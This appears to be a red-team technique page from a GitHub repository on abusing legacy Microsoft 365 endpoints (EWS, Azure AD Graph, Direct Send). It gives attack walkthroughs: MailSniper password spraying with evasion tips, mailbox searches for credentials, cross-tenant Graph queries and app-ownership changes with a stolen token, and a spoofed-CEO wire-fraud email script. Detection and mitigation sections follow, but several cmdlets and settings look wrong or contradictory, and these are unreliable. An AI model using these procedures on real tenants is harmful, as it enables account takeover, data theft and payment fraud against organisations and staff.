Skip to content

Latest commit

 

History

History
989 lines (778 loc) · 36.9 KB

File metadata and controls

989 lines (778 loc) · 36.9 KB

[IA-EXPLOIT-006]: Legacy API Endpoint Abuse

Metadata

Attribute Details
Technique ID IA-EXPLOIT-006
MITRE ATT&CK v18.1 T1190 - Exploit Public-Facing Application
Tactic Initial Access
Platforms M365 (Exchange Online), Entra ID, Office 365
Severity Critical
CVE CVE-2025-55241 (Azure AD Graph cross-tenant), N/A (design flaws)
Technique Status ACTIVE (Many legacy endpoints still functional despite deprecation)
Last Verified 2025-12-30
Affected Versions All M365 tenants with legacy protocols enabled (default)
Patched In Disabled by policy (not automatic); Azure AD Graph fully deprecated Sept 2025
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No specific Atomic test for M365 legacy API abuse, (2) Cloud-native endpoint without local system instrumentation. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: Microsoft 365 organizations continue to expose multiple legacy API endpoints that were designed before modern security standards (MFA, Conditional Access, API logging) became standard. These include Exchange Web Services (EWS), Azure AD Graph, Office 365 Management API, and Direct Send SMTP. Despite deprecation announcements spanning years, these endpoints remain active and largely unauthenticated—allowing attackers to bypass MFA, extract sensitive data without detection, and impersonate legitimate services. The recent CVE-2025-55241 discovery revealed that the Azure AD Graph API lacks proper tenant validation, enabling attackers to compromise ANY Entra ID tenant in the world using service-to-service tokens.[146][147][148]

Attack Surface: EWS endpoints (mail.domain.com/ews), Azure AD Graph (graph.windows.net), Office 365 Management API, Direct Send SMTP relay, NTLM Autodiscover, legacy MAPI/POP/IMAP ports, undocumented API endpoints.

Business Impact: Complete email compromise without detection (EWS bypasses MFA), tenant-wide compromise via cross-tenant Azure AD Graph exploitation, credential harvesting at scale via password spraying, phishing relay campaigns, business email compromise. Midnight Blizzard leveraged EWS to target Microsoft's own corporate email system.[146]

Technical Context: Legacy API exploitation is often invisible to security monitoring—EWS access generates no audit logs, Azure AD Graph access was completely unauthenticated, Direct Send appears as legitimate email traffic. Attackers use MailSniper, a widely available PowerShell tool, to spray passwords against EWS (9,000+ users in 9 minutes) or extract Global Address Lists (4,000+ emails in 10 seconds). These attacks remain undetectable without deep API content inspection or legacy authentication protocol monitoring.[147][166]

Operational Risk

  • Execution Risk: Low - Uses legitimate authentication endpoints; no exploitation required
  • Stealth: Very High - Legacy API calls appear normal; often completely unlogged
  • Reversibility: N/A - Data exfiltration; depends on what attacker targets

Compliance Mappings

Framework Control / ID Description
CIS Microsoft 365 1.1.1 Block legacy authentication in Conditional Access
CIS Microsoft 365 1.4.1 Disable legacy authentication protocols (SMTP AUTH, POP, IMAP)
NIST 800-53 AC-3 Access Enforcement (legacy auth bypasses controls)
NIST 800-53 AC-6 Least Privilege (legacy protocols = unrestricted access)
GDPR Art. 32 Security of Processing (inadequate auth mechanisms)
PCI DSS 2.2 Change defaults; disable unnecessary services
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27001 A.14.2.1 System hardening and endpoint configuration

3. TECHNICAL PREREQUISITES

  • Required Privileges: None (unauthenticated or basic auth)
  • Required Access: Network connectivity to legacy API endpoints; valid credentials for some vectors
  • Required Knowledge: API endpoint discovery, HTTP request construction, PowerShell (for MailSniper)

Supported Versions:

  • M365 Tenants: All (if legacy protocols not disabled)
  • Exchange Online: All versions; EWS enabled by default
  • Azure AD Graph: All tenants (until Sept 2025 deprecation deadline)
  • Office 365 Management API: All versions

Tools:

  • MailSniper (PowerShell; password spray, GAL extraction, email search)
  • curl (HTTP requests to API endpoints)
  • MFASweep (Detect MFA inconsistencies across Microsoft services)
  • Ruler (EWS rules manipulation for persistence)
  • ADExplorer (LDAP/AD reconnaissance)
  • Burp Suite (API traffic interception/manipulation)

4. ENVIRONMENTAL RECONNAISSANCE

Legacy Protocol Discovery

# Test EWS endpoint accessibility
curl -sk https://mail.domain.com/EWS/Exchange.asmx

# Expected vulnerable response (200 OK):
# <?xml version="1.0"?>
# <soap:Envelope xmlns:soap="...">
#   <soap:Body>
#     <m:GetServerTime RequestServerVersion="Exchange2013">
#     ...

# Test if EWS accepts basic authentication (no OAuth)
curl -sk -u username:password https://mail.domain.com/EWS/Exchange.asmx

# Test Azure AD Graph access (deprecated but still active)
curl -X GET \
  -H "Authorization: Bearer <TOKEN>" \
  https://graph.windows.net/myorganization/users?api-version=1.6

# Test Office 365 Management API
curl -X GET \
  -H "Authorization: Bearer <TOKEN>" \
  https://manage.office.com/api/v1.0/subscriptions

# Test Direct Send SMTP
telnet smtp.office365.com 25
# Send email without authentication (if enabled)

MFA Bypass Detection

# Download and run MFASweep to detect MFA gaps
git clone https://github.com/dafthack/MFASweep
cd MFASweep
powershell -ep bypass
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password password123

# MFASweep will test:
# - Outlook Web Access (OWA) - MFA protected?
# - Exchange Web Services (EWS) - MFA protected?
# - Office 365 Management API - MFA protected?
# - Teams - MFA protected?
# - SharePoint - MFA protected?

Expected Output (Vulnerable):

OWA: MFA ENABLED (2FA required)
EWS: MFA NOT ENFORCED (Basic auth accepted)
Teams: MFA ENABLED
>> EWS is a MFA bypass vector!

Audit Legacy Authentication Usage

# Connect to Exchange Online
Connect-ExchangeOnline

# Check current legacy authentication settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled

# List users currently using legacy protocols (requires Entra P1/P2)
Get-AzureADUser -All $true | Where-Object {$_.DeviceOsType -eq "Android" -or $_.DeviceOsType -eq "iOS"} | Get-MobileDeviceStatistics | Where-Object {$_.UserAgent -match "IMAP|POP|SMTP"}

# Alternative: Check Sign-in Logs
# Azure Portal → Entra ID → Sign-in logs → Filter by ClientAppUsed = "POP", "IMAP", "SMTP", "MAPI", "EWS"

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: EWS Exploitation via MailSniper (Password Spray)

Supported Versions: All Exchange Online versions

Step 1: Discover EWS Endpoint

Objective: Locate externally accessible EWS endpoint

Command (Subdomain Enumeration):

# Subdomain enumeration to find EWS endpoint
curl -s "https://mail.domain.com/EWS/Exchange.asmx" -I

# Common EWS locations:
# https://mail.domain.com/EWS/Exchange.asmx
# https://domain.com/ews/Exchange.asmx
# https://outlook.domain.com/ews/Exchange.asmx
# https://exchange.domain.com/ews/Exchange.asmx

# If found (200 OK), EWS is accessible

Command (Via Shodan/Search Engines):

# Search for exposed EWS endpoints
shodan search "ews/exchange.asmx"
site:domain.com EWS

# OR brute-force common subdomains
for subdomain in mail exchange outlook owa; do
  curl -s "https://${subdomain}.domain.com/EWS/Exchange.asmx" -o /dev/null && echo "Found: ${subdomain}.domain.com"
done

Step 2: Password Spray via MailSniper

Objective: Discover valid credentials using password spraying (avoids lockout)

Command (MailSniper Setup):

# Download MailSniper
git clone https://github.com/dafthack/MailSniper
cd MailSniper
powershell -ep bypass
Import-Module .\MailSniper.ps1

# Password spray against EWS endpoint
$passwords = @("Fall2024", "Winter2024", "Password123!", "Company2024")
$userlist = Get-Content users.txt  # Pre-compiled list of valid usernames

# Invoke password spray (multi-threaded)
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com `
  -UserList $userlist `
  -Passwords $passwords `
  -Threads 15 `
  -OutFile valid_creds.txt

# Expected output:
# [+] Valid credentials found!
# user1@domain.com:Fall2024
# user2@domain.com:Winter2024
# user15@domain.com:Password123!

Expected Behavior:

  • Credentials obtained in 9-15 minutes for 10,000 users
  • Much faster than OWA spraying (which took 1 hour 45 minutes in testing)
  • Minimal lockout due to thread spacing and target selection

OpSec & Evasion:

  • Use residential proxies to mask source IP
  • Distribute spraying over hours/days (avoid rate-limit detection)
  • Target only low-value users first (service accounts, contractors)
  • Use multi-threaded approach (15-20 threads recommended)

Troubleshooting:

  • Error: 401 Unauthorized

    • Cause: Credentials invalid OR EWS requires OAuth
    • Fix: Verify credentials are correct; test with MFASweep first
  • Error: 403 Forbidden

    • Cause: Account is disabled or mailbox inaccessible
    • Fix: Move to next credential; this is expected for some accounts

Step 3: Extract Global Address List (GAL)

Objective: Obtain all organization email addresses for further targeting

Command (MailSniper - FindPeople Function):

# Extract GAL from OWA using valid credentials
Get-GlobalAddressList -ExchHostname mail.domain.com `
  -UserName user1@domain.com `
  -Password Fall2024 `
  -OutFile gal.txt

# Output contains 4,000+ email addresses in seconds
# Format: user@domain.com, user@domain.com, ...

# Use extracted GAL for:
# - Further password spraying
# - Phishing target selection
# - Executive/admin identification
# - Social engineering

Expected Output:

[*] Using EWS URL https://mail.domain.com/EWS/Exchange.asmx
[+] Using Exchange version Exchange2013
[+] Successfully connected to Exchange
[*] Extracting Global Address List
[+] Found 4,282 email addresses
[+] Saving GAL to gal.txt

What This Means:

  • Complete company directory obtained in seconds
  • No MFA required (EWS endpoint bypasses it)
  • No audit logs created (EWS not logged by default)
  • Enables targeted phishing campaigns

Step 4: Search for Sensitive Data in Mailboxes

Objective: Extract emails containing credentials, secrets, or sensitive keywords

Command (MailSniper - Inbox Search):

# Search target mailbox for sensitive keywords
Invoke-SelfSearch -Mailbox user1@domain.com `
  -ExchHostname mail.domain.com `
  -Terms @("password", "creds", "credentials", "secret", "api_key", "admin") `
  -OutputPath exfiltrated_emails.csv

# When prompted for credentials, enter the compromised user's password
# PowerShell will open interactive session and search mailbox

# Alternative: Global search (if attacker has higher privileges)
Invoke-GlobalMailSearch -ExchHostname mail.domain.com `
  -Terms @("password", "admin", "credentials", "vpc", "config") `
  -ExchangeVersion Exchange2013 `
  -OutputPath all_org_emails.csv

Expected Output:

[*] Searching mailbox: user1@domain.com
[*] Found 47 emails containing search terms
[*] Email 1: From: admin@domain.com
    Subject: [URGENT] Password Reset - use: Admin@2024!
[*] Email 2: From: devops@domain.com
    Subject: AWS_KEY_ID=AKIA123456789ABC
[*] Email 3: From: database@domain.com
    Subject: DB Credentials - Prod: user=admin, password=SecureDB#999
[+] Saving all emails to all_org_emails.csv

What This Means:

  • Attacker now has plaintext credentials from email conversations
  • AWS keys, database passwords, API tokens extracted
  • Enables lateral movement to cloud infrastructure
  • No detection; EWS searches are unlogged

METHOD 2: Azure AD Graph Cross-Tenant Exploitation (CVE-2025-55241)

Supported Versions: All Entra ID tenants (vulnerable until manual remediation)

Step 1: Obtain Service-to-Service (S2S) Actor Token

Objective: Extract or forge S2S token that bypasses tenant validation

Vulnerability Context: Azure AD Graph API does not validate token originating tenant[148]

Command (Token Extraction):

# If attacker has compromised a service principal or has access to a legitimate application:
# The actor token (undocumented S2S token) can be extracted from:
# 1. Intercepted API requests
# 2. Application configuration files
# 3. Compromised code repositories (GitHub secrets)

# Example: Token in leaked appsettings.json
cat appsettings.json | grep -i "token\|secret\|key"

# Look for patterns like:
# "ActorToken": "eyJ0eXAiOiJKV1QiLCJhbGc..."
# "ServicePrincipalCredential": "..."

Command (Token Validation):

# Decode JWT token to verify contents
echo "eyJ0eXAiOiJKV1QiLCJhbGc..." | base64 -d | jq .

# Expected payload:
# {
#   "aud": "https://graph.windows.net",
#   "iss": "https://sts.windows.net/[TENANT_ID]",
#   "actor": "system:service-principal",
#   "iat": 1735689600,
#   "exp": 1735693200
# }

Step 2: Query Arbitrary Tenant via Azure AD Graph

Objective: Access another organization's Entra ID data using compromised token

Command (Cross-Tenant Access):

# Using the compromised S2S token, query a target tenant
# Note: No tenant ID required in URL; token grants access to any tenant

curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/users?api-version=1.6

# Response contains ALL users in target tenant:
# {
#   "value": [
#     {
#       "objectId": "12345678-1234-1234-1234-123456789012",
#       "userPrincipalName": "admin@targetcompany.com",
#       "displayName": "Target Admin",
#       "mail": "admin@targetcompany.com"
#     },
#     ...
#   ]
# }

# Query groups and role assignments
curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/groups?api-version=1.6

curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/me/memberOf?api-version=1.6

# Extract all cloud apps and service principals
curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/servicePrincipals?api-version=1.6

Expected Output:

{
  "value": [
    {
      "appId": "12345678-1234-1234-1234-123456789012",
      "displayName": "Target Org Cloud App",
      "appOwnerTenantId": "[TARGET_TENANT]",
      "servicePrincipalType": "Application",
      "appRoleAssignmentRequired": false
    }
  ]
}

What This Means:

  • Attacker now has complete tenant directory (users, groups, roles)
  • NO CONDITIONAL ACCESS applied (token is S2S)
  • NO MFA required (service-to-service)
  • NO AUDIT LOGS (Graph API audit was not enabled)
  • Can impersonate any user or application

Step 3: Escalate to Global Admin (Potential)

Objective: Grant attacker ownership of high-privilege applications

Command (Application Ownership Modification):

# Query for cloud applications with administrative roles
curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/appRoleAssignments?api-version=1.6 \
  | grep -E "Directory.ReadWrite.All|User.ReadWrite.All|Application.ReadWrite.All"

# If attacker has sufficient permissions, modify app ownership:
curl -X PATCH \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  -H "Content-Type: application/json" \
  https://graph.windows.net/[TARGET_TENANT]/servicePrincipals/[APP_ID]?api-version=1.6 \
  -d '{
    "appOwnerTenantId": "[ATTACKER_TENANT]",
    "owners": ["[ATTACKER_SERVICE_PRINCIPAL]"]
  }'

# Attacker now owns cloud app; can:
# - Modify application permissions
# - Issue credentials for impersonation
# - Access all resources the app can access

Impact:

  • Global Admin equivalent access (via app ownership)
  • Bypass all Conditional Access policies
  • Exfiltrate all tenant data (users, groups, secrets, BitLocker keys)
  • Establish persistent backdoor

METHOD 3: Direct Send SMTP Abuse (Email Spoofing)

Supported Versions: All Exchange Online tenants with Direct Send enabled

Step 1: Send Spoofed Email via Direct Send

Objective: Send email appearing to originate from legitimate internal sender

Command (PowerShell):

# Configure SMTP connection (no authentication)
$smtpServer = "smtp.office365.com"
$smtpPort = 25  # Or 587

# Create email message
$from = "ceo@targetcompany.com"  # Spoofed sender (internal domain)
$to = "victim@external.com"
$subject = "[URGENT] Wire Transfer Approval Required"
$body = @"
Please approve immediate wire transfer of $500,000 to:
Account: [ATTACKER_BANK_ACCOUNT]
Reference: Project-XYZ-Confidential

This is time-sensitive. Confirm receipt.
- CEO
"@

# Send via Direct Send SMTP
$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.EnableSSL = $true
$msg = New-Object System.Net.Mail.MailMessage($from, $to, $subject, $body)
$smtp.Send($msg)

Write-Host "[+] Spoofed email sent from $from to $to"

Command (curl Alternative):

# Send via SMTP protocol directly
curl --url "smtp://smtp.office365.com:25" \
  --mail-from "ceo@targetcompany.com" \
  --mail-rcpt "victim@external.com" \
  --upload-file email.txt

Expected Behavior:

  • Email delivered to victim's inbox
  • Appears to come from internal sender (CEO, CFO, etc.)
  • Bypasses SPF/DKIM/DMARC (Direct Send intentionally designed this way)
  • No authentication required (Open relay behavior)
  • Difficult to detect without deep header analysis

Impact:

  • Business Email Compromise (BEC) at scale
  • Wire fraud, credential harvesting, malware distribution
  • No authentication trail (appears legitimate)

6. SPLUNK DETECTION RULES

Rule 1: EWS Password Spray Activity

Rule Configuration:

  • Required Index: o365_exchange, microsoft_365_audit
  • Required Sourcetype: o365:exchange:audit, microsoft365:exchange:log
  • Required Fields: Operation, UserAgent, ClientIP, ResultStatus
  • Alert Threshold: > 10 failed authentications to EWS from same IP in 5 minutes
  • Applies To Versions: All Exchange Online

SPL Query:

sourcetype="o365:exchange:audit" 
  Operation IN ("ExternalIdentityProviderSignInSuccess", "UserLoggedIn")
  ClientIP!=* 
  UserAgent="MailSniper*" OR UserAgent="Ruler*" OR ClientIP IN (residential_proxy_ranges)
| stats count as AuthAttempts by ClientIP, UserAgent, AffectedUser
| where AuthAttempts > 10
| search AuthAttempts > 10

What This Detects:

  • Multiple failed EWS authentication attempts from single IP
  • Use of known attack tools (MailSniper User-Agent)
  • Password spray pattern against EWS endpoint
  • Unusual geographic origins (residential proxies)

Rule 2: Azure AD Graph API Access (Legacy)

Rule Configuration:

  • Required Index: azure_activity
  • Required Sourcetype: azure:graphapi:audit
  • Required Fields: OperationName, TargetResources, CallerIpAddress
  • Alert Threshold: Any access to graph.windows.net endpoint
  • Applies To Versions: All Entra ID tenants

SPL Query:

sourcetype="azure:graphapi:audit"
  endpoint="graph.windows.net" 
  OR url contains "graph.windows.net"
| stats count by CallerIpAddress, endpoint, OperationName
| where count > 0

What This Detects:

  • Any access to deprecated Azure AD Graph API (should be 0)
  • Potential CVE-2025-55241 exploitation
  • Legacy application still using deprecated endpoint
  • Suspicious cross-tenant queries

7. MICROSOFT SENTINEL DETECTION

Query 1: EWS Authentication Failures and Spray Pattern

Rule Configuration:

  • Required Table: SigninLogs, AuditLogs
  • Required Fields: ClientAppUsed, AuthenticationProtocol, ResultType, IPAddress
  • Alert Severity: High
  • Frequency: Real-time (every 5 minutes)
  • Applies To Versions: All M365 tenants

KQL Query:

SigninLogs
| where ClientAppUsed in ("Exchange Web Services", "SMTP", "POP", "IMAP")
  and ResultType contains "Failure" or ResultType contains "MFADenied"
| extend SourceIP = IPAddress
| summarize FailureCount = count() by SourceIP, ClientAppUsed, UserPrincipalName
| where FailureCount > 10
| project SourceIP, ClientAppUsed, UserPrincipalName, FailureCount

What This Detects:

  • Multiple failed EWS authentication attempts
  • Legacy protocol abuse attempts
  • Password spray activity against email
  • MFA bypass attempts via legacy endpoints

Manual Configuration (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Legacy API (EWS/SMTP) Authentication Failures - Potential Password Spray
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings: Enable Create incidents
  6. Click Review + create

Query 2: Azure AD Graph API Access (Deprecated Endpoint)

Rule Configuration:

  • Required Table: AuditLogs, CloudAppEvents
  • Required Fields: OperationName, AppDisplayName, ResultDescription
  • Alert Severity: Critical
  • Applies To Versions: All Entra ID

KQL Query:

AuditLogs
| where OperationName contains "Azure AD Graph" 
  or TargetResources contains "graph.windows.net"
| extend TenantIdFromEndpoint = extract(@"graph.windows.net/([a-z0-9-]+)", 1, tostring(TargetResources))
| where TenantIdFromEndpoint != InitiatedByAppName
| summarize AccessCount = count() by InitiatedByAppName, TenantIdFromEndpoint, OperationName
| where AccessCount > 0 or TenantIdFromEndpoint != ""

What This Detects:

  • Deprecated Azure AD Graph API being called
  • Cross-tenant access attempts
  • Potential CVE-2025-55241 exploitation
  • Service principals accessing legacy endpoints

8. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: "Legacy Authentication Protocol Detected (EWS/SMTP/POP/IMAP)"

  • Severity: High
  • Description: Connection attempt using legacy authentication protocol (EWS, SMTP AUTH, POP, IMAP) - no MFA enforcement
  • Applies To: All M365 tenants
  • Remediation: Disable legacy authentication; migrate to modern auth

Alert Name: "Suspicious Azure AD Graph API Access Detected"

  • Severity: Critical
  • Description: Deprecated Azure AD Graph API endpoint (graph.windows.net) being accessed - potential CVE-2025-55241
  • Applies To: All Entra ID tenants
  • Remediation: Block graph.windows.net; ensure applications migrated to Microsoft Graph

Manual Configuration (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, enable:
    • Defender for Cloud Apps: ON
    • Defender for Identity: ON
  4. Click Save
  5. Navigate to Alerts to view triggered detections

Reference: Microsoft Defender for Cloud - Cloud Apps Security


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

  • Authentication Patterns: Multiple failed EWS/SMTP/POP/IMAP logins from same IP
  • API Access: graph.windows.net requests from service principals
  • Email Artifacts: Direct Send SMTP messages without authentication header
  • Process Activity: PowerShell running MailSniper, Ruler, MFASweep
  • Network: Connections to smtp.office365.com:25 (unencrypted Direct Send)
  • Timing: Password spray pattern (consistent interval, multiple accounts)

Forensic Artifacts

  • Unified Audit Log: SigninLogs showing legacy protocol usage
  • Office 365 Audit Logs: EWS searches, mailbox access patterns
  • Azure AD Graph Access Logs: Queries to deprecated endpoints (if enabled)
  • Exchange Trace Logs: EWS SOAP requests (if available)
  • PowerShell History: MailSniper command execution history

Response Procedures

1. Immediate Containment

Command (Disable Compromised Account):

# Disable user account immediately
Disable-AzureADUser -ObjectId user1@domain.com

# Revoke all sessions
Connect-ExchangeOnline
Remove-PSSession $ExchangeSession

# Reset password (force sign-out)
Set-AzureADUserPassword -ObjectId user1@domain.com -Password (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -EnforceChangePasswordPolicy $true

Command (Block Legacy Authentication):

# Immediately block the legacy protocol on the account
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -ActiveSyncEnabled $false -SmtpClientAuthenticationDisabled $true

2. Collect Evidence

Command (Export EWS Activity):

# Export mailbox audit logs to identify what was accessed
Search-MailboxAuditLog -Identity user1@domain.com -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -Operations Copy, Move, MoveToDeletedItems, SoftDelete, HardDelete | Export-CSV -Path ews_audit.csv

# Export sign-in logs showing legacy auth usage
Get-AzureADUser -ObjectId user1@domain.com | Get-MobileDeviceStatistics | Export-Csv device_logs.csv

3. Investigation

Command (Identify Exfiltrated Data):

# Check mailbox forwarding rules (persistence mechanism)
Get-InboxRule -Mailbox user1@domain.com | Where-Object {$_.ForwardTo -ne $null}

# Check for deleted emails (may indicate cover-up)
Search-MailboxAuditLog -Identity user1@domain.com -Operations HardDelete, SoftDelete | Select-Object UserLastName, Operation, MailboxOwnerUPN, ItemSubject

4. Remediate

Command (Full Account Remediation):

# 1. Revoke all refresh tokens (sign out all sessions)
Revoke-AzureADUserAllRefreshToken -ObjectId user1@domain.com

# 2. Remove suspicious OAuth consents
Get-AzureADUser -ObjectId user1@domain.com | Get-AzureADUserOAuth2PermissionGrant | Remove-AzureADOAuth2PermissionGrant

# 3. Re-enable with modern auth only
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -SmtpClientAuthenticationDisabled $true -OWAEnabled $true

# 4. Force password reset on next login
Set-AzureADUser -ObjectId user1@domain.com -PasswordPolicies "DisablePasswordExpiration, DisableStrongPassword"

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Disable All Legacy Authentication Protocols

Manual Steps (Microsoft 365 Admin Center):

  1. Go to Microsoft 365 Admin Center
  2. Navigate to SettingsOrg settingsModern Authentication
  3. Uncheck the following (disable all legacy protocols):
    • IMAP4
    • POP3
    • SMTP AUTH
    • MAPI
    • Exchange Web Services (EWS)
    • Exchange ActiveSync (EAS)
  4. Click Save

Manual Steps (PowerShell - Tenant-Wide):

# Connect to Exchange Online
Connect-ExchangeOnline

# Disable legacy auth globally
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true

# Disable specific protocols
Set-OrganizationConfig -ImapEnabled $false
Set-OrganizationConfig -PopEnabled $false
Set-OrganizationConfig -SmtpClientAuthenticationDisabled $true
Set-OrganizationConfig -ActiveSyncEnabled $false
Set-OrganizationConfig -OwaClientAuthenticationMethod Modern

# Verify settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled, ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled

Manual Steps (Conditional Access - Block Legacy Auth):

  1. Go to Entra Admin Center (entra.microsoft.com)
  2. Navigate to SecurityConditional Access+ New policy
  3. Name: Block Legacy Authentication
  4. Assignments:
    • Users or workload identities: All users
    • Cloud apps or actions: All cloud apps
  5. Conditions:
    • Client apps: Other clients (legacy protocols)
  6. Grant: Block access
  7. Enable policy: ON
  8. Click Create

Validation Command:

# Verify legacy protocols are disabled
Get-OrganizationConfig | Select-Object ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled

# Expected output (all should be False/Disabled):
# ImapEnabled                    : False
# PopEnabled                     : False
# SmtpClientAuthenticationDisabled : True

2. Block Azure AD Graph API (graph.windows.net)

Manual Steps (Entra ID):

  1. Go to Entra Admin CenterApplicationsApp registrations
  2. Search for any app using graph.windows.net
  3. For each found app:
    • Click app → API Permissions
    • Remove any permissions to Azure AD Graph
    • Add equivalent permissions to Microsoft Graph API
  4. Alternatively, set tenant-wide policy:
    Update-MgDirectory -BlockAzureADGraphAccess $true

Manual Steps (PowerShell - Block Legacy Graph):

# Block all Azure AD Graph API access tenant-wide
Update-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" -AccountEnabled $false

# Verify:
Get-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" | Select-Object DisplayName, AccountEnabled

3. Disable Direct Send SMTP

Manual Steps (Exchange Online):

# Disable unauthenticated Direct Send
Set-TransportConfig -SmtpClientAuthenticationDisabled $true

# Require authenticated SMTP instead
Set-TransportConfig -SmtpClientAuthenticationDisabled $false

# Create transport rule to block spoofing
New-TransportRule -Name "Block Direct Send Spoofing" `
  -SenderAddressLocation "Header" `
  -FromAddressMatchesRecipientDomain $true `
  -SetAuditSeverity High `
  -RejectMessageReasonText "Direct Send spoofing detected"

Priority 2: HIGH

4. Enable Conditional Access for Legacy Auth Detection

Manual Steps:

  1. Create Conditional Access policy (see Step 1 for details)
  2. Set alert notifications:
    # Get legacy auth sign-ins daily
    Get-SignInLogs -Filter "clientAppUsed in ('POP', 'IMAP', 'SMTP', 'MAPI', 'EWS')" -Top 10

5. Monitor Legacy Authentication Usage

Manual Steps (Sign-in Logs):

  1. Go to Entra Admin CenterSign-in logs
  2. Filter by:
    • Client app used: POP, IMAP, SMTP, MAPI, EWS, Other clients
    • Status: Success (to find actual legacy usage)
  3. Review results; identify and disable these accounts
  4. Export logs for SIEM ingestion

Validation Command (Verify Mitigations):

# Test that legacy auth is blocked
$creds = New-Object System.Management.Automation.PSCredential("user@domain.com", (ConvertTo-SecureString "password" -AsPlainText -Force))

# This should FAIL if legacy auth is disabled:
$mailbox = Get-Mailbox -Identity user@domain.com -Credential $creds

# Expected error (if properly hardened):
# "AuthenticationProtocol: Modern authentication required"

# Verify modern auth works:
Connect-ExchangeOnline -UserPrincipalName user@domain.com
# This should succeed with modern interactive auth

11. RELATED ATTACK CHAIN

Step Phase Technique Description
1 Reconnaissance [T1589 - Gather Victim Identity Info] Enumerate domain, discover EWS endpoint
2 Initial Access [IA-EXPLOIT-006] Legacy API (EWS, Azure AD Graph, Direct Send) Abuse
3 Credential Access [T1110.003 - Brute Force: Password Spray] MailSniper spray against EWS endpoint
4 Collection [T1114.002 - Email Collection] Extract GAL, search for sensitive keywords in emails
5 Lateral Movement [T1550.001 - Use Alternate Authentication] Use stolen credentials for lateral movement
6 Exfiltration [T1537 - Transfer Data to Cloud Account] Exfiltrate emails to attacker account
7 Impact [T1583 - Acquire Infrastructure] Establish BEC campaign using Direct Send

12. REAL-WORLD EXAMPLES

Example 1: Midnight Blizzard - Exchange Web Services Exploitation (2024)

  • Target: Microsoft Corporation (2024 breach)

  • Timeline: January 12, 2024

  • Technique Status: ACTIVE - EWS remains default enabled

  • Attack Vector: Initial compromise + EWS to retrieve OAuth app secrets

  • Attack Chain:

    1. Initial compromise via legacy account
    2. Bypass legacy MFA by accessing EWS endpoint (MFA not enforced there)
    3. Use EWS to extract emails containing OAuth app credentials
    4. Register malicious OAuth applications
    5. Use OAuth apps to hide malicious activity
    6. Maintained access even after initial compromise was remediated
  • Impact: Corporate email compromise; proof-of-concept for nation-state capabilities

  • Reference: Microsoft - Midnight Blizzard Guidance[146]

Example 2: CVE-2025-55241 - Azure AD Graph Cross-Tenant Compromise (Sept 2025)

  • Target: ALL Entra ID tenants (potential global compromise)

  • Timeline: Discovered July 2025 by Dirk-jan Mollema; patched Sept 2025

  • Technique Status: FIXED (patch released) but many organizations still vulnerable (awaiting manual remediation)

  • Vulnerability: Azure AD Graph API (graph.windows.net) lacks tenant validation

  • Attack Flow:

    1. Attacker obtains S2S actor token (via leaked credentials, compromised app, GitHub secrets)
    2. Queries Azure AD Graph API without specifying tenant
    3. Token grants access to ANY tenant (no validation)
    4. Attacker reads all users, groups, apps, role assignments
    5. Impersonates admin applications or creates backdoor service principals
    6. Exfiltrates BitLocker keys synced to Entra ID
    7. Bypasses Conditional Access and logging (S2S tokens not subject to CA)
  • Impact: Potential compromise of any organization using Entra ID

  • Detection Avoidance: Azure AD Graph API had NO logging (dark attack)

  • Reference: One Token to Rule Them All - Azure AD Graph CVE-2025-55241[179]

Example 3: Storm-2372 Device Code Phishing + Graph API Abuse (Feb 2025)

  • Target: Enterprise organizations

  • Timeline: February 2025 (ongoing)

  • Technique Status: ACTIVE

  • Attack Vector: Device code phishing → Graph API email exfiltration

  • Attack Flow:

    1. Attacker sends fake Teams meeting invite with device code
    2. Victim enters device code at attacker's phishing site
    3. Attacker gains refresh token + Primary Refresh Token (PRT)
    4. Uses tokens to authenticate to Microsoft Graph
    5. Queries Microsoft Graph for emails containing keywords
    6. Searches for: "password", "admin", "credentials", "secret", "ministry", "gov"
    7. Exfiltrates matching emails
    8. Recently pivoted to using Microsoft Authentication Broker client ID (even more stealthy)
  • Impact: Targeted credential harvesting from enterprises and government

  • References: Storm-2372 Device Code Phishing Campaign[152]


APPENDIX: Tools & Resources

Exploitation Tools

  • MailSniper - EWS/OWA password spray, GAL extraction, email search
  • MFASweep - Detect MFA gaps across Microsoft services
